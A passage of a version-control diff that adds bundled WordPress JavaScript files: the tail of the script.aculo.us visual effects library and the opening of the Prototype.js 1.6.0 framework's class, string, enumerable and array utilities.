effect.element.makeClipping().show(); + }, + afterUpdateInternal: function(effect) { + effect.element.down().setStyle({bottom: + (effect.dims[0] - effect.element.clientHeight) + 'px' }); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().undoPositioned(); + effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); + } + }, arguments[1] || { }) + ); +}; + +// Bug in opera makes the TD containing this element expand for a instance after finish +Effect.Squish = function(element) { + return new Effect.Scale(element, window.opera ? 1 : 0, { + restoreAfterFinish: true, + beforeSetup: function(effect) { + effect.element.makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping(); + } + }); +}; + +Effect.Grow = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.full + }, arguments[1] || { }); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var initialMoveX, initialMoveY; + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + initialMoveX = initialMoveY = moveX = moveY = 0; + break; + case 'top-right': + initialMoveX = dims.width; + initialMoveY = moveY = 0; + moveX = -dims.width; + break; + case 'bottom-left': + initialMoveX = moveX = 0; + initialMoveY = dims.height; + moveY = -dims.height; + break; + case 'bottom-right': + initialMoveX = dims.width; + initialMoveY = dims.height; + moveX = -dims.width; + moveY = -dims.height; + break; + case 'center': + initialMoveX = dims.width / 2; + initialMoveY = dims.height / 2; + moveX = -dims.width / 2; + moveY = -dims.height / 2; + break; + } + + return new Effect.Move(element, { + x: initialMoveX, + y: initialMoveY, + duration: 0.01, + beforeSetup: function(effect) { + effect.element.hide().makeClipping().makePositioned(); + }, + afterFinishInternal: function(effect) { + new Effect.Parallel( + [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), + new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), + new Effect.Scale(effect.element, 100, { + scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, + sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) + ], Object.extend({ + beforeSetup: function(effect) { + effect.effects[0].element.setStyle({height: '0px'}).show(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); + } + }, options) + ) + } + }); +}; + +Effect.Shrink = function(element) { + element = $(element); + var options = Object.extend({ + direction: 'center', + moveTransition: Effect.Transitions.sinoidal, + scaleTransition: Effect.Transitions.sinoidal, + opacityTransition: Effect.Transitions.none + }, arguments[1] || { }); + var oldStyle = { + top: element.style.top, + left: element.style.left, + height: element.style.height, + width: element.style.width, + opacity: element.getInlineOpacity() }; + + var dims = element.getDimensions(); + var moveX, moveY; + + switch (options.direction) { + case 'top-left': + moveX = moveY = 0; + break; + case 'top-right': + moveX = dims.width; + moveY = 0; + break; + case 'bottom-left': + moveX = 0; + moveY = dims.height; + break; + case 'bottom-right': + moveX = dims.width; + moveY = dims.height; + break; + case 'center': + moveX = dims.width / 2; + moveY = dims.height / 2; + break; + } + + return new Effect.Parallel( + [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), + new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), + new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + effect.effects[0].element.makePositioned().makeClipping(); + }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); } + }, options) + ); +}; + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || { }; + var oldOpacity = element.getInlineOpacity(); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 2.0, from: 0, + afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } + }, options), {transition: reverser})); +}; + +Effect.Fold = function(element) { + element = $(element); + var oldStyle = { + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height }; + element.makeClipping(); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + effect.element.hide().undoClipping().setStyle(oldStyle); + } }); + }}, arguments[1] || { })); +}; + +Effect.Morph = Class.create(Effect.Base, { + initialize: function(element) { + this.element = $(element); + if (!this.element) throw(Effect._elementDoesNotExistError); + var options = Object.extend({ + style: { } + }, arguments[1] || { }); + + if (!Object.isString(options.style)) this.style = $H(options.style); + else { + if (options.style.include(':')) + this.style = options.style.parseStyle(); + else { + this.element.addClassName(options.style); + this.style = $H(this.element.getStyles()); + this.element.removeClassName(options.style); + var css = this.element.getStyles(); + this.style = this.style.reject(function(style) { + return style.value == css[style.key]; + }); + options.afterFinishInternal = function(effect) { + effect.element.addClassName(effect.options.style); + effect.transforms.each(function(transform) { + effect.element.style[transform.style] = ''; + }); + } + } + } + this.start(options); + }, + + setup: function(){ + function parseColor(color){ + if (!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff'; + color = color.parseColor(); + return $R(0,2).map(function(i){ + return parseInt( color.slice(i*2+1,i*2+3), 16 ) + }); + } + this.transforms = this.style.map(function(pair){ + var property = pair[0], value = pair[1], unit = null; + + if (value.parseColor('#zzzzzz') != '#zzzzzz') { + value = value.parseColor(); + unit = 'color'; + } else if (property == 'opacity') { + value = parseFloat(value); + if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) + this.element.setStyle({zoom: 1}); + } else if (Element.CSS_LENGTH.test(value)) { + var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/); + value = parseFloat(components[1]); + unit = (components.length == 3) ? components[2] : null; + } + + var originalValue = this.element.getStyle(property); + return { + style: property.camelize(), + originalValue: unit=='color' ? parseColor(originalValue) : parseFloat(originalValue || 0), + targetValue: unit=='color' ? parseColor(value) : value, + unit: unit + }; + }.bind(this)).reject(function(transform){ + return ( + (transform.originalValue == transform.targetValue) || + ( + transform.unit != 'color' && + (isNaN(transform.originalValue) || isNaN(transform.targetValue)) + ) + ) + }); + }, + update: function(position) { + var style = { }, transform, i = this.transforms.length; + while(i--) + style[(transform = this.transforms[i]).style] = + transform.unit=='color' ? '#'+ + (Math.round(transform.originalValue[0]+ + (transform.targetValue[0]-transform.originalValue[0])*position)).toColorPart() + + (Math.round(transform.originalValue[1]+ + (transform.targetValue[1]-transform.originalValue[1])*position)).toColorPart() + + (Math.round(transform.originalValue[2]+ + (transform.targetValue[2]-transform.originalValue[2])*position)).toColorPart() : + (transform.originalValue + + (transform.targetValue - transform.originalValue) * position).toFixed(3) + + (transform.unit === null ? '' : transform.unit); + this.element.setStyle(style, true); + } +}); + +Effect.Transform = Class.create({ + initialize: function(tracks){ + this.tracks = []; + this.options = arguments[1] || { }; + this.addTracks(tracks); + }, + addTracks: function(tracks){ + tracks.each(function(track){ + track = $H(track); + var data = track.values().first(); + this.tracks.push($H({ + ids: track.keys().first(), + effect: Effect.Morph, + options: { style: data } + })); + }.bind(this)); + return this; + }, + play: function(){ + return new Effect.Parallel( + this.tracks.map(function(track){ + var ids = track.get('ids'), effect = track.get('effect'), options = track.get('options'); + var elements = [$(ids) || $$(ids)].flatten(); + return elements.map(function(e){ return new effect(e, Object.extend({ sync:true }, options)) }); + }).flatten(), + this.options + ); + } +}); + +Element.CSS_PROPERTIES = $w( + 'backgroundColor backgroundPosition borderBottomColor borderBottomStyle ' + + 'borderBottomWidth borderLeftColor borderLeftStyle borderLeftWidth ' + + 'borderRightColor borderRightStyle borderRightWidth borderSpacing ' + + 'borderTopColor borderTopStyle borderTopWidth bottom clip color ' + + 'fontSize fontWeight height left letterSpacing lineHeight ' + + 'marginBottom marginLeft marginRight marginTop markerOffset maxHeight '+ + 'maxWidth minHeight minWidth opacity outlineColor outlineOffset ' + + 'outlineWidth paddingBottom paddingLeft paddingRight paddingTop ' + + 'right textIndent top width wordSpacing zIndex'); + +Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/; + +String.__parseStyleElement = document.createElement('div'); +String.prototype.parseStyle = function(){ + var style, styleRules = $H(); + if (Prototype.Browser.WebKit) + style = new Element('div',{style:this}).style; + else { + String.__parseStyleElement.innerHTML = '
    '; + style = String.__parseStyleElement.childNodes[0].style; + } + + Element.CSS_PROPERTIES.each(function(property){ + if (style[property]) styleRules.set(property, style[property]); + }); + + if (Prototype.Browser.IE && this.include('opacity')) + styleRules.set('opacity', this.match(/opacity:\s*((?:0|1)?(?:\.\d*)?)/)[1]); + + return styleRules; +}; + +if (document.defaultView && document.defaultView.getComputedStyle) { + Element.getStyles = function(element) { + var css = document.defaultView.getComputedStyle($(element), null); + return Element.CSS_PROPERTIES.inject({ }, function(styles, property) { + styles[property] = css[property]; + return styles; + }); + }; +} else { + Element.getStyles = function(element) { + element = $(element); + var css = element.currentStyle, styles; + styles = Element.CSS_PROPERTIES.inject({ }, function(hash, property) { + hash.set(property, css[property]); + return hash; + }); + if (!styles.opacity) styles.set('opacity', element.getOpacity()); + return styles; + }; +}; + +Effect.Methods = { + morph: function(element, style) { + element = $(element); + new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || { })); + return element; + }, + visualEffect: function(element, effect, options) { + element = $(element) + var s = effect.dasherize().camelize(), klass = s.charAt(0).toUpperCase() + s.substring(1); + new Effect[klass](element, options); + return element; + }, + highlight: function(element, options) { + element = $(element); + new Effect.Highlight(element, options); + return element; + } +}; + +$w('fade appear grow shrink fold blindUp blindDown slideUp slideDown '+ + 'pulsate shake puff squish switchOff dropOut').each( + function(effect) { + Effect.Methods[effect] = function(element, options){ + element = $(element); + Effect[effect.charAt(0).toUpperCase() + effect.substring(1)](element, options); + return element; + } + } +); + +$w('getInlineOpacity forceRerendering setContentZoom collectTextNodes collectTextNodesIgnoreClass getStyles').each( + function(f) { Effect.Methods[f] = Element[f]; } +); + +Element.addMethods(Effect.Methods); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/scriptaculous/prototype.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/scriptaculous/prototype.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,4184 @@ +/* Prototype JavaScript framework, version 1.6.0 + * (c) 2005-2007 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see the Prototype web site: http://www.prototypejs.org/ + * + *--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.6.0', + + Browser: { + IE: !!(window.attachEvent && !window.opera), + Opera: !!window.opera, + WebKit: navigator.userAgent.indexOf('AppleWebKit/') > -1, + Gecko: navigator.userAgent.indexOf('Gecko') > -1 && navigator.userAgent.indexOf('KHTML') == -1, + MobileSafari: !!navigator.userAgent.match(/Apple.*Mobile.*Safari/) + }, + + BrowserFeatures: { + XPath: !!document.evaluate, + ElementExtensions: !!window.HTMLElement, + SpecificElementExtensions: + document.createElement('div').__proto__ && + document.createElement('div').__proto__ !== + document.createElement('form').__proto__ + }, + + ScriptFragment: ']*>([\\S\\s]*?)<\/script>', + JSONFilter: /^\/\*-secure-([\s\S]*)\*\/\s*$/, + + emptyFunction: function() { }, + K: function(x) { return x } +}; + +if (Prototype.Browser.MobileSafari) + Prototype.BrowserFeatures.SpecificElementExtensions = false; + +if (Prototype.Browser.WebKit) + Prototype.BrowserFeatures.XPath = false; + +/* Based on Alex Arnell's inheritance implementation. */ +var Class = { + create: function() { + var parent = null, properties = $A(arguments); + if (Object.isFunction(properties[0])) + parent = properties.shift(); + + function klass() { + this.initialize.apply(this, arguments); + } + + Object.extend(klass, Class.Methods); + klass.superclass = parent; + klass.subclasses = []; + + if (parent) { + var subclass = function() { }; + subclass.prototype = parent.prototype; + klass.prototype = new subclass; + parent.subclasses.push(klass); + } + + for (var i = 0; i < properties.length; i++) + klass.addMethods(properties[i]); + + if (!klass.prototype.initialize) + klass.prototype.initialize = Prototype.emptyFunction; + + klass.prototype.constructor = klass; + + return klass; + } +}; + +Class.Methods = { + addMethods: function(source) { + var ancestor = this.superclass && this.superclass.prototype; + var properties = Object.keys(source); + + if (!Object.keys({ toString: true }).length) + properties.push("toString", "valueOf"); + + for (var i = 0, length = properties.length; i < length; i++) { + var property = properties[i], value = source[property]; + if (ancestor && Object.isFunction(value) && + value.argumentNames().first() == "$super") { + var method = value, value = Object.extend((function(m) { + return function() { return ancestor[m].apply(this, arguments) }; + })(property).wrap(method), { + valueOf: function() { return method }, + toString: function() { return method.toString() } + }); + } + this.prototype[property] = value; + } + + return this; + } +}; + +var Abstract = { }; + +Object.extend = function(destination, source) { + for (var property in source) + destination[property] = source[property]; + return destination; +}; + +Object.extend(Object, { + inspect: function(object) { + try { + if (object === undefined) return 'undefined'; + if (object === null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } + }, + + toJSON: function(object) { + var type = typeof object; + switch (type) { + case 'undefined': + case 'function': + case 'unknown': return; + case 'boolean': return object.toString(); + } + + if (object === null) return 'null'; + if (object.toJSON) return object.toJSON(); + if (Object.isElement(object)) return; + + var results = []; + for (var property in object) { + var value = Object.toJSON(object[property]); + if (value !== undefined) + results.push(property.toJSON() + ': ' + value); + } + + return '{' + results.join(', ') + '}'; + }, + + toQueryString: function(object) { + return $H(object).toQueryString(); + }, + + toHTML: function(object) { + return object && object.toHTML ? object.toHTML() : String.interpret(object); + }, + + keys: function(object) { + var keys = []; + for (var property in object) + keys.push(property); + return keys; + }, + + values: function(object) { + var values = []; + for (var property in object) + values.push(object[property]); + return values; + }, + + clone: function(object) { + return Object.extend({ }, object); + }, + + isElement: function(object) { + return object && object.nodeType == 1; + }, + + isArray: function(object) { + return object && object.constructor === Array; + }, + + isHash: function(object) { + return object instanceof Hash; + }, + + isFunction: function(object) { + return typeof object == "function"; + }, + + isString: function(object) { + return typeof object == "string"; + }, + + isNumber: function(object) { + return typeof object == "number"; + }, + + isUndefined: function(object) { + return typeof object == "undefined"; + } +}); + +Object.extend(Function.prototype, { + argumentNames: function() { + var names = this.toString().match(/^[\s\(]*function[^(]*\((.*?)\)/)[1].split(",").invoke("strip"); + return names.length == 1 && !names[0] ? [] : names; + }, + + bind: function() { + if (arguments.length < 2 && arguments[0] === undefined) return this; + var __method = this, args = $A(arguments), object = args.shift(); + return function() { + return __method.apply(object, args.concat($A(arguments))); + } + }, + + bindAsEventListener: function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function(event) { + return __method.apply(object, [event || window.event].concat(args)); + } + }, + + curry: function() { + if (!arguments.length) return this; + var __method = this, args = $A(arguments); + return function() { + return __method.apply(this, args.concat($A(arguments))); + } + }, + + delay: function() { + var __method = this, args = $A(arguments), timeout = args.shift() * 1000; + return window.setTimeout(function() { + return __method.apply(__method, args); + }, timeout); + }, + + wrap: function(wrapper) { + var __method = this; + return function() { + return wrapper.apply(this, [__method.bind(this)].concat($A(arguments))); + } + }, + + methodize: function() { + if (this._methodized) return this._methodized; + var __method = this; + return this._methodized = function() { + return __method.apply(null, [this].concat($A(arguments))); + }; + } +}); + +Function.prototype.defer = Function.prototype.delay.curry(0.01); + +Date.prototype.toJSON = function() { + return '"' + this.getUTCFullYear() + '-' + + (this.getUTCMonth() + 1).toPaddedString(2) + '-' + + this.getUTCDate().toPaddedString(2) + 'T' + + this.getUTCHours().toPaddedString(2) + ':' + + this.getUTCMinutes().toPaddedString(2) + ':' + + this.getUTCSeconds().toPaddedString(2) + 'Z"'; +}; + +var Try = { + these: function() { + var returnValue; + + for (var i = 0, length = arguments.length; i < length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) { } + } + + return returnValue; + } +}; + +RegExp.prototype.match = RegExp.prototype.test; + +RegExp.escape = function(str) { + return String(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g, '\\$1'); +}; + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create({ + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + execute: function() { + this.callback(this); + }, + + stop: function() { + if (!this.timer) return; + clearInterval(this.timer); + this.timer = null; + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.execute(); + } finally { + this.currentlyExecuting = false; + } + } + } +}); +Object.extend(String, { + interpret: function(value) { + return value == null ? '' : String(value); + }, + specialChar: { + '\b': '\\b', + '\t': '\\t', + '\n': '\\n', + '\f': '\\f', + '\r': '\\r', + '\\': '\\\\' + } +}); + +Object.extend(String.prototype, { + gsub: function(pattern, replacement) { + var result = '', source = this, match; + replacement = arguments.callee.prepareReplacement(replacement); + + while (source.length > 0) { + if (match = source.match(pattern)) { + result += source.slice(0, match.index); + result += String.interpret(replacement(match)); + source = source.slice(match.index + match[0].length); + } else { + result += source, source = ''; + } + } + return result; + }, + + sub: function(pattern, replacement, count) { + replacement = this.gsub.prepareReplacement(replacement); + count = count === undefined ? 1 : count; + + return this.gsub(pattern, function(match) { + if (--count < 0) return match[0]; + return replacement(match); + }); + }, + + scan: function(pattern, iterator) { + this.gsub(pattern, iterator); + return String(this); + }, + + truncate: function(length, truncation) { + length = length || 30; + truncation = truncation === undefined ? '...' : truncation; + return this.length > length ? + this.slice(0, length - truncation.length) + truncation : String(this); + }, + + strip: function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }, + + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + stripScripts: function() { + return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); + }, + + extractScripts: function() { + var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); + var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); + return (this.match(matchAll) || []).map(function(scriptTag) { + return (scriptTag.match(matchOne) || ['', ''])[1]; + }); + }, + + evalScripts: function() { + return this.extractScripts().map(function(script) { return eval(script) }); + }, + + escapeHTML: function() { + var self = arguments.callee; + self.text.data = this; + return self.div.innerHTML; + }, + + unescapeHTML: function() { + var div = new Element('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? (div.childNodes.length > 1 ? + $A(div.childNodes).inject('', function(memo, node) { return memo+node.nodeValue }) : + div.childNodes[0].nodeValue) : ''; + }, + + toQueryParams: function(separator) { + var match = this.strip().match(/([^?#]*)(#.*)?$/); + if (!match) return { }; + + return match[1].split(separator || '&').inject({ }, function(hash, pair) { + if ((pair = pair.split('='))[0]) { + var key = decodeURIComponent(pair.shift()); + var value = pair.length > 1 ? pair.join('=') : pair[0]; + if (value != undefined) value = decodeURIComponent(value); + + if (key in hash) { + if (!Object.isArray(hash[key])) hash[key] = [hash[key]]; + hash[key].push(value); + } + else hash[key] = value; + } + return hash; + }); + }, + + toArray: function() { + return this.split(''); + }, + + succ: function() { + return this.slice(0, this.length - 1) + + String.fromCharCode(this.charCodeAt(this.length - 1) + 1); + }, + + times: function(count) { + return count < 1 ? '' : new Array(count + 1).join(this); + }, + + camelize: function() { + var parts = this.split('-'), len = parts.length; + if (len == 1) return parts[0]; + + var camelized = this.charAt(0) == '-' + ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) + : parts[0]; + + for (var i = 1; i < len; i++) + camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); + + return camelized; + }, + + capitalize: function() { + return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); + }, + + underscore: function() { + return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase(); + }, + + dasherize: function() { + return this.gsub(/_/,'-'); + }, + + inspect: function(useDoubleQuotes) { + var escapedString = this.gsub(/[\x00-\x1f\\]/, function(match) { + var character = String.specialChar[match[0]]; + return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16); + }); + if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"'; + return "'" + escapedString.replace(/'/g, '\\\'') + "'"; + }, + + toJSON: function() { + return this.inspect(true); + }, + + unfilterJSON: function(filter) { + return this.sub(filter || Prototype.JSONFilter, '#{1}'); + }, + + isJSON: function() { + var str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, ''); + return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str); + }, + + evalJSON: function(sanitize) { + var json = this.unfilterJSON(); + try { + if (!sanitize || json.isJSON()) return eval('(' + json + ')'); + } catch (e) { } + throw new SyntaxError('Badly formed JSON string: ' + this.inspect()); + }, + + include: function(pattern) { + return this.indexOf(pattern) > -1; + }, + + startsWith: function(pattern) { + return this.indexOf(pattern) === 0; + }, + + endsWith: function(pattern) { + var d = this.length - pattern.length; + return d >= 0 && this.lastIndexOf(pattern) === d; + }, + + empty: function() { + return this == ''; + }, + + blank: function() { + return /^\s*$/.test(this); + }, + + interpolate: function(object, pattern) { + return new Template(this, pattern).evaluate(object); + } +}); + +if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, { + escapeHTML: function() { + return this.replace(/&/g,'&').replace(//g,'>'); + }, + unescapeHTML: function() { + return this.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>'); + } +}); + +String.prototype.gsub.prepareReplacement = function(replacement) { + if (Object.isFunction(replacement)) return replacement; + var template = new Template(replacement); + return function(match) { return template.evaluate(match) }; +}; + +String.prototype.parseQuery = String.prototype.toQueryParams; + +Object.extend(String.prototype.escapeHTML, { + div: document.createElement('div'), + text: document.createTextNode('') +}); + +with (String.prototype.escapeHTML) div.appendChild(text); + +var Template = Class.create({ + initialize: function(template, pattern) { + this.template = template.toString(); + this.pattern = pattern || Template.Pattern; + }, + + evaluate: function(object) { + if (Object.isFunction(object.toTemplateReplacements)) + object = object.toTemplateReplacements(); + + return this.template.gsub(this.pattern, function(match) { + if (object == null) return ''; + + var before = match[1] || ''; + if (before == '\\') return match[2]; + + var ctx = object, expr = match[3]; + var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/, match = pattern.exec(expr); + if (match == null) return before; + + while (match != null) { + var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1]; + ctx = ctx[comp]; + if (null == ctx || '' == match[3]) break; + expr = expr.substring('[' == match[3] ? match[1].length : match[0].length); + match = pattern.exec(expr); + } + + return before + String.interpret(ctx); + }.bind(this)); + } +}); +Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; + +var $break = { }; + +var Enumerable = { + each: function(iterator, context) { + var index = 0; + iterator = iterator.bind(context); + try { + this._each(function(value) { + iterator(value, index++); + }); + } catch (e) { + if (e != $break) throw e; + } + return this; + }, + + eachSlice: function(number, iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var index = -number, slices = [], array = this.toArray(); + while ((index += number) < array.length) + slices.push(array.slice(index, index+number)); + return slices.collect(iterator, context); + }, + + all: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var result = true; + this.each(function(value, index) { + result = result && !!iterator(value, index); + if (!result) throw $break; + }); + return result; + }, + + any: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var result = false; + this.each(function(value, index) { + if (result = !!iterator(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var results = []; + this.each(function(value, index) { + results.push(iterator(value, index)); + }); + return results; + }, + + detect: function(iterator, context) { + iterator = iterator.bind(context); + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator, context) { + iterator = iterator.bind(context); + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(filter, iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var results = []; + + if (Object.isString(filter)) + filter = new RegExp(filter); + + this.each(function(value, index) { + if (filter.match(value)) + results.push(iterator(value, index)); + }); + return results; + }, + + include: function(object) { + if (Object.isFunction(this.indexOf)) + if (this.indexOf(object) != -1) return true; + + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inGroupsOf: function(number, fillWith) { + fillWith = fillWith === undefined ? null : fillWith; + return this.eachSlice(number, function(slice) { + while(slice.length < number) slice.push(fillWith); + return slice; + }); + }, + + inject: function(memo, iterator, context) { + iterator = iterator.bind(context); + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.map(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var result; + this.each(function(value, index) { + value = iterator(value, index); + if (result == undefined || value >= result) + result = value; + }); + return result; + }, + + min: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var result; + this.each(function(value, index) { + value = iterator(value, index); + if (result == undefined || value < result) + result = value; + }); + return result; + }, + + partition: function(iterator, context) { + iterator = iterator ? iterator.bind(context) : Prototype.K; + var trues = [], falses = []; + this.each(function(value, index) { + (iterator(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator, context) { + iterator = iterator.bind(context); + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator, context) { + iterator = iterator.bind(context); + return this.map(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.map(); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (Object.isFunction(args.last())) + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + return iterator(collections.pluck(index)); + }); + }, + + size: function() { + return this.toArray().length; + }, + + inspect: function() { + return '#'; + } +}; + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + filter: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray, + every: Enumerable.all, + some: Enumerable.any +}); +function $A(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + var length = iterable.length, results = new Array(length); + while (length--) results[length] = iterable[length]; + return results; +} + +if (Prototype.Browser.WebKit) { + function $A(iterable) { + if (!iterable) return []; + if (!(Object.isFunction(iterable) && iterable == '[object NodeList]') && + iterable.toArray) return iterable.toArray(); + var length = iterable.length, results = new Array(length); + while (length--) results[length] = iterable[length]; + return results; + } +} + +Array.from = $A; + +Object.extend(Array.prototype, Enumerable); + +if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse; + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0, length = this.length; i < length; i++) + iterator(this[i]); + }, + + clear: function() { + this.length = 0; + return this; + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(Object.isArray(value) ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + reverse: function(inline) { + return (inline !== false ? this : this.toArray())._reverse(); + }, + + reduce: function() { + return this.length > 1 ? this : this[0]; + }, + + uniq: function(sorted) { + return this.inject([], function(array, value, index) { + if (0 == index || (sorted ? array.last() != value : !array.include(value))) + array.push(value); + return array; + }); + }, + + intersect: function(array) { + return this.uniq().findAll(function(item) { + return array.detect(function(value) { return item === value }); + }); + }, + + clone: function() { + return [].concat(this); + }, + + size: function() { + return this.length; + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + }, + + toJSON: function() { + var results = []; + this.each(function(object) { + var value = Object.toJSON(object); + if (value !== undefined) results.push(value); + }); + return '[' + results.join(', ') + ']'; + } +}); + +// use native browser JS 1.6 implementation if available +if (Object.isFunction(Array.prototype.forEach)) + Array.prototype._each = Array.prototype.forEach; + +if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) { + i || (i = 0); + var length = this.length; + if (i < 0) i = length + i; + for (; i < length; i++) + if (this[i] === item) return i; + return -1; +}; + +if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) { + i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1; + var n = this.slice(0, i).reverse().indexOf(item); + return (n < 0) ? n : i - n - 1; +}; + +Array.prototype.toArray = Array.prototype.clone; + +function $w(string) { + if (!Object.isString(string)) return []; + string = string.strip(); + return string ? string.split(/\s+/) : []; +} + +if (Prototype.Browser.Opera){ + Array.prototype.concat = function() { + var array = []; + for (var i = 0, length = this.length; i < length; i++) array.push(this[i]); + for (var i = 0, length = arguments.length; i < length; i++) { + if (Object.isArray(arguments[i])) { + for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++) 